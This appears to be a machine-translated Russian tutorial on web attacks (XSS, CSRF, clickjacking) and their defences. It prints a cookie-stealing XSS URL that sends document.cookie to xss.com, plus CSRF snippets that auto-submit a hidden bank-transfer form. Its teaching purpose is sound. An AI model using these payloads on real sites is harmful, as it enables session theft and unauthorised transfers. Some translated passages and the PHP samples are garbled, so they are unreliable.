Три наступательных и оборонительных подхода к веб-безопасности

Безопасность
Три наступательных и оборонительных подхода к веб-безопасности 
声明：此文为之前的几篇子文的合并整理和扩充

Вопрос веб-безопасности переднего плана — старомодный вопрос, поскольку нашему интерфейсу, как самому близкому к пользователю слою, действительно нужно протянуть руки немного дальше.

Наши наиболее распространенные атаки на веб-безопасность:

  • Атака с использованием межсайтовых сценариев XSS
  • Подделка межсайтовых запросов CSRF
  • Clickjacking Clickjacking/Атака UI-Overlay

Давайте проанализируем один за другим

Атака с использованием межсайтовых сценариев XSS

Межсайтовый скриптинг (Cross Site Scripting), чтобы не путать с аббревиатурой Cascading Style Sheets (CSS), сокращенно XSS. злонамеренный злоумышленникВставка вредоносного кода скрипта в веб-страницы, Когда пользователь просматривает страницу, код сценария, встроенный в Интернет, будет выполняться для достижения цели злонамеренной атаки на пользователя.

эксперимент

Попробуйте этот сайт:

Если вы нажмете «Я все еще вижу ваш файл cookie», этот сайт подвержен риску XSS.

Классификация

  1. Reflected XSS (XSS-атака на основе отражения)
  2. Stored XSS (хранимая XSS-атака)
  3. XSS-атака на основе DOM или локальная XSS-атака (атака на основе DOM или локальная XSS)

Reflected XSS (XSS-атака на основе отражения)

Веб-атаки в основном запускаются путем использования лазеек в поведении обратной связи системы и обмана пользователей, чтобы они активировали их.
Возьмите каштан:

  1. Предположим, втщательно отобранныйВеб-сайт ищет продукты, и когда поиск не может быть найден, сайт выдает подсказку «xxx not on the полке». Как показано ниже.

  1. Найдите контент в поле поиска, введите «» и нажмите «Поиск».

  2. Текущая концевая страница не фильтрует отфильтрованные данные, непосредственно отображаемые на странице, а затем предупреждает, что строка выходит.

(Конечно, изображение выше является симуляцией)

Вышеупомянутые 3 шага — это просто «развлечение», а самый важный шаг XSS — четвертый шаг.

  1. Затем вы можете построить адрес получения файлов cookie пользователя и позволить другим нажимать на этот адрес через группу QQ или спам:
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
  1. Если обманутый пользователь только что вошел на веб-сайт Yanxuan, значит, информация cookie для входа пользователя была отправлена ​​на сервер злоумышленника (xss.com) вверх.当然，攻击者会做一些更过分的操作。

Stored XSS (хранимая XSS-атака)

Отличие Stored XSS от Reflected XSS заключается в том, что сценарий наступления сохраняется на сервере и может быть полностью получен и выполнен обычными пользователями из сервиса, тем самым получив возможность распространения в сети.

Еще каштан:

  1. Опубликовать статью, содержащую вредоносный скрипт
    你好！当你看到这段文字时，你的信息已经不安全了！<script>alert('xss')</script>

  2. Бэкенд не фильтрует статьи, а напрямую сохраняет содержимое статей в базу данных.

  3. Когда другие читатели читают эту статью, запускается включенный в нее вредоносный скрипт.

Советы: В статье сохраняется весь HTML-контент, а внешний вид не фильтруется, что очень вероятно.
Эта тема в основном из блогов.

Если наше действие состоит не в том, чтобы просто всплыть сообщение, а в том, чтобы удалить статью, отправить реакционную статью или стать моим поклонником и сделать репост этой статьи с вредоносным скриптом, это оскорбительно?

XSS-атака на основе DOM или локальная XSS-атака (атака на основе DOM или локальная XSS)

DOM, полное название объектной модели документа, представляет собой независимый от платформы и языка интерфейс, который позволяет программам и сценариям динамически получать доступ и обновлять содержимое, структуру и стиль документа.

DOM XSS на самом деле является особым типом отраженного XSS, который представляет собой уязвимость, основанную на объектной модели документа DOM. Содержимое страницы можно динамически изменять через DOM, а данные в DOM можно получить от клиента и выполнить локально. На основе этой функции JS-скрипты можно использовать для эксплуатации XSS-уязвимостей.

Атрибуты, которые могут запускать XSS типа DOM:
свойство document.referer
свойство window.name
свойство местоположения
свойство innerHTML
свойство document.write
······

Суммировать

Суть XSS-атаки заключается в использовании всех средств для выполнения скрипта атаки в браузере целевого пользователя.

охранять от

Весь пользовательский ввод, вывод и вывод на стороне клиента считаются ненадежными. Когда данные добавляются в DOM или выполняется API DOM, нам необходимо выполнить HtmlEncode или JavaScriptEncode для содержимого, чтобы предотвратить атаки XSS.

Конкретную реализацию см.Этот пост в блоге http://www.cnblogs.com/lovesong/p/5211667.html

Подделка межсайтовых запросов CSRF

Подделка межсайтовых запросов CSRF (подделка межсайтовых запросов), также известная как «Атака одним щелчком мыши» или Session Riding, обычно сокращенно обозначаемая как CSRF или XSRF, представляет собой злонамеренное использование веб-сайтов. Хотя это звучит как межсайтовый скриптинг (XSS), он сильно отличается от XSS, который использует доверенных пользователей на сайте, и CSRF, который использует доверенные веб-сайты, маскируя запросы от доверенных пользователей. По сравнению с атаками XSS, атаки CSRF, как правило, менее распространены (и поэтому ресурсов для защиты от них довольно мало), и их трудно предотвратить, поэтому они считаются более опасными, чем XSS. Но часто совершайте преступления вместе с XSS!

Что может CSRF?

Вы можете понять CSRF-атаки следующим образом: злоумышленник крадет вашу личность и отправляет вредоносные запросы от вашего имени. Вещи, которые может делать CSRF, включают в себя: отправку электронных писем от вашего имени, отправку сообщений, кражу вашей учетной записи, даже покупку товаров, перевод виртуальной валюты ... Вызванные проблемы включают: утечку личной конфиденциальности и безопасность собственности.

Статус CSRF-уязвимость

Этот метод атаки CSRF был предложен иностранными службами безопасности в 2000 году, но в Китае на него не обращали внимания до 2006 года. В 2008 году многие крупные сообщества и интерактивные веб-сайты в стране и за рубежом взломали уязвимости CSRF, такие как: NYTimes. com (The New York Times), Metafilter (большой БЛОГ-сайт), YouTube и Baidu HI... И сейчас многие сайты в Интернете все еще настолько беззащитны, что индустрия безопасности называет CSRF «сном». Гиганты».

Принципы CSRF

Следующий рисунок кратко иллюстрирует идею атаки CSRF:

Как видно из рисунка выше, для завершения CSRF-атаки жертва должна последовательно выполнить два шага:

  1. Войдите на доверенный веб-сайт А и создайте файл cookie локально.
  2. Посетите опасный веб-сайт B, не выходя из системы A.

В этот момент вы можете сказать: «Если я не выполню одно из двух вышеперечисленных условий, CSRF не будет атаковать меня». Да, это так, но вы не можете гарантировать, что не произойдет следующее: ​

  1. Вы не можете гарантировать, что после входа на веб-сайт вы больше не откроете вкладку и не посетите другой веб-сайт.
  2. Вы не можете гарантировать, что срок действия ваших локальных файлов cookie истечет сразу после закрытия браузера и завершения вашего последнего сеанса. (На самом деле закрытие браузера не завершает сеанс, но большинство людей ошибочно полагают, что закрытие браузера эквивалентно выходу из системы/завершению сеанса...)
  3. Так называемый атакующий веб-сайт на картинке выше может быть надежным и часто посещаемым веб-сайтом с другими уязвимостями.

Пример

Идея атаки CSRF кратко упомянута выше.Далее я буду использовать несколько примеров, чтобы подробно описать конкретную атаку CSRF.Здесь я беру в качестве примера операцию банковского перевода (просто пример, реальный веб-сайт банка не так глупо :> )

Пример 1

Веб-сайт банка A, который выполняет операции банковского перевода с запросами GET, такими как:Woohoo. Board.com/transfer нет. Сотрудничайте с…
Опасный веб-сайт B, который содержит следующий фрагмент HTML-кода:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

Сначала вы заходите на сайт банка А, затем посещаете опасный сайт Б, потом вы обнаружите, что ваш банковский счет на 1000 юаней меньше...

Почему это так? Причина в том, что веб-сайт банка А нарушает спецификацию HTTP, используя запросы GET для обновления ресурсов. Перед посещением опасного веб-сайта B вы авторизовались на веб-сайте банка A, иЗапросите сторонние ресурсы с помощью GET (третья сторона здесь относится к веб-сайту банка, который изначально был законным запросом, но здесь использовался преступниками), поэтому ваш браузер откроет веб-сайт вашего банка. Cookie отправляет запрос Get для получения ресурсов.

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

В итоге после того, как сервер сайта банка получил запрос, он подумал, что это операция обновления ресурса (операция переноса), поэтому тут же выполнил операцию переноса...

Пример 2

Чтобы устранить вышеуказанные проблемы, Банк решил использовать запрос на пост для завершения операции передачи.
WEB-форма веб-сайта банка А выглядит следующим образом:

<form action="Transfer.php" method="POST">
    <p>ToBankId: <input type="text" name="toBankId"/></p>
    <p>Money: <input type="text" name="money"/></p>
    <p><input type="submit" value="Transfer"/></p>
</form>

Страница фоновой обработки Transfer.php выглядит следующим образом:

<?php
　　　　session_start();
　　　　if (isset($_REQUEST['toBankId'] &&　isset($_REQUEST['money']))
　　　　{
　　　　    buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);
　　　　}
?>

Опасный сайт B, по-прежнему содержит только HTML-код:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

То же, что и в примере 1, вы сначала входите на сайт банка A, затем посещаете опасный сайт B, результат..... То же, что и в примере 1, вы снова потеряли 1000 ~ T_T, причина этого несчастного случая : банк. Фон использует $_REQUEST для получения запрошенных данных, а $_REQUEST может получить данные запроса GET и данные запроса POST, что делает невозможным для фонового обработчика различение, являются ли это данными запроса GET-запрос или POST-запрос Данные. В PHP вы можете использовать $_GET и $_POST для получения данных для запросов GET и POST соответственно. В JAVA существует та же проблема, что данные запроса GET и данные POST нельзя отличить от запроса, используемого для получения данных запроса.

Пример 3

После предыдущих двух болезненных уроков банк решил изменить способ получения данных запроса и использовать вместо него $_POST, а получать данные только запроса POST.Код страницы фоновой обработки Transfer.php выглядит следующим образом:

<?php
　　　　session_start();
　　　　if (isset($_POST['toBankId'] &&　isset($_POST['money']))
　　　　{
　　　　    buy_stocks($_POST['toBankId'],　$_POST['money']);
　　　　}
　　?>

Однако Dangerous Website B изменился со временем и изменил свой код:

<html>
　　<head>
　　　　<script type="text/javascript">
　　　　　　function steal()
　　　　　　{
          　　　　 iframe = document.frames["steal"];
　　     　　      iframe.document.Submit("transfer");
　　　　　　}
　　　　</script>
　　</head>

　　<body onload="steal()">
　　　　<iframe name="steal" display="none">
　　　　　　<form method="POST" name="transfer"　action="http://www.myBank.com/Transfer.php">
　　　　　　　　<input type="hidden" name="toBankId" value="11">
　　　　　　　　<input type="hidden" name="money" value="1000">
　　　　　　</form>
　　　　</iframe>
　　</body>
</html>

Если пользователь все еще продолжает вышеуказанную операцию, к сожалению, результатом будет то, что блок 1000 больше не будет виден... потому что здесь опасный веб-сайт B тайно отправил POST-запрос в банк!
​
Подводя итог вышеприведенным трем примерам, можно сказать, что основными режимами атаки CSRF являются, в основном, три вышеупомянутых типа, из которых первый и второй являются наиболее серьезными, поскольку условия срабатывания очень просты, одинНичего страшного, а третий более хлопотный и требует использования JavaScript, поэтому возможности использовать его будет гораздо меньше, чем предыдущий, но в любом случае, пока срабатывает CSRF-атака, последствия могут быть серьезный.
​
Понимая три вышеупомянутых режима атаки, фактически можно увидеть, что атака CSRF является неявным механизмом аутентификации, происходящим из WEB! Хотя механизм WEB-аутентификации может гарантировать, что запрос исходит из браузера пользователя, он не может гарантировать, что запрос одобрен пользователем!

Несколько текущих стратегий защиты от CSRF

В настоящее время в отрасли существует три основных стратегии защиты от CSRF-атак: проверка поля HTTP Referer, добавление токена к адресу запроса и проверка, настройка атрибутов в HTTP-заголовке и проверка. Три стратегии подробно описаны ниже.

Проверьте поле HTTP Referer

Используйте Referer в заголовке HTTP, чтобы определить, является ли источник запроса законным.

Преимущества: Простота и легкость реализации, просто добавьте перехватчик ко всем чувствительным к безопасности запросам в конце, чтобы проверить значение Referer. Специально для текущей существующей системы нет необходимости менять какой-либо существующий код и логику текущей системы, нет риска, и это очень удобно.

недостаток:
1. Значение Referer предоставляется браузером и полностью доверять ему нельзя, существует риск подделки Referer в младших версиях браузеров.
2. Пользователи могут настроить свои браузеры так, чтобы они больше не предоставляли Referer при отправке запросов, а веб-сайт запрещал доступ законным пользователям.

Добавьте токен для запроса адреса и подтвердите

Поместите в запрос информацию, которую хакеры не могут подделать, а в куки информации нет, добавьте случайно сгенерированный токен в виде параметров HTTP-запроса и отправьте его на сервер для проверки

Плюсы: немного безопаснее, чем проверка Referer, и не требует конфиденциальности пользователя.
Недостатки: Сложно добавлять токены ко всем запросам, и сложно обеспечить безопасность самого токена, и он все равно будет использоваться для получения токена

Настройка свойств в заголовках HTTP и проверка +одноразовых токенов

Поместите токен в пользовательский атрибут в заголовке HTTP. Асинхронные запросы через XMLHttpRequest проверяются серверной частью и действительны один раз.

Преимущества: унифицированное управление вводом и выводом токенов, что может обеспечить безопасность токена.
Недостаток: имеет ограничения, не может быть реализован на неасинхронных запросах.

кликджекинг

Clickjacking, английское название clickjacking, также известное как атака наложения пользовательского интерфейса, злоумышленник будет использовать один или несколько прозрачных или непрозрачных слоев, чтобы заставить пользователя поддержать операцию нажатия кнопки, и фактический щелчок действительно является кнопкой, которую пользователь не может видеть , чтобы добиться Атаки осуществляются без ведома пользователя.

Ключом к этому методу атаки является то, что он может достичь постраничного<iframe />тег и может использовать таблицу стилей css, чтобы сделать его невидимым

Как показано в синем слое вышеуказанной схематической диаграммы, злоумышленник будет соблазнить пользователю вводить информацию «в красном слое» определенными средствами, но пользователь на самом деле находится в синем слое для обмана.

Сделайте каштан с Alipay

На изображении выше показан интерфейс пополнения счета мобильного телефона Alipay.

Взгляните еще раз на интерфейс

Да, это мой фейк, если я прячу настоящий сайт пополнения над этим интерфейсом. Я думаю, умный, вы уже знаете об опасностях кликджекинга.

Кажется, я немного сместил изображение и уменьшил прозрачность, разве это не интересно? Глупые пользователи, которые не видят разницы, думали, что получили приз, а на самом деле пополняли счета за телефон незнакомых людей.

Взлом - хорошая рука

Наиболее распространенным сценарием атаки этого метода является подделка некоторых веб-сайтов для кражи информации об учетной записи, такой как секреты учетных записей учетных записей Alipay, QQ, NetEase и т. д.

В настоящее время кликджекинг все еще относительно непопулярен, и многие веб-сайты с низким уровнем безопасности еще не начали предотвращать кликджекинг. Это очень опасно.

охранять от

Есть два основных способа предотвратить кликджекинг:

X-FRAME-OPTIONS

X-FRAME-OPTIONS — это HTTP-заголовок, предложенный Microsoft, который предписывает браузеру не разрешать кадрирование из других доменов и специально используется для защиты от атак кликджекинга с использованием вложения iframe. И в IE8, Firefox3.6, Chrome4 и выше версии могут хорошо поддерживаться.
Этот заголовок имеет три значения:
DENY // Запретить любую загрузку домена
SAMEORIGIN // Разрешить загрузку из того же исходного домена
ALLOW-FROM // Вы можете определить адрес страницы, которая позволяет загружать фрейм

решение на высшем уровне

Защитный код в пользовательском интерфейсе, чтобы текущий кадр был самым верхним окном.
Существует множество методов, таких как

top != self || top.location != self.location || top.location != location

Дополнительные сведения о средствах защиты от кликджекинга см.Clickjacking Defense Cheat Sheet.

Ссылаться на

  1. Говоря о режиме атаки CSRF - http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
  2. Ответ на CSRF-атаки — https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
Категории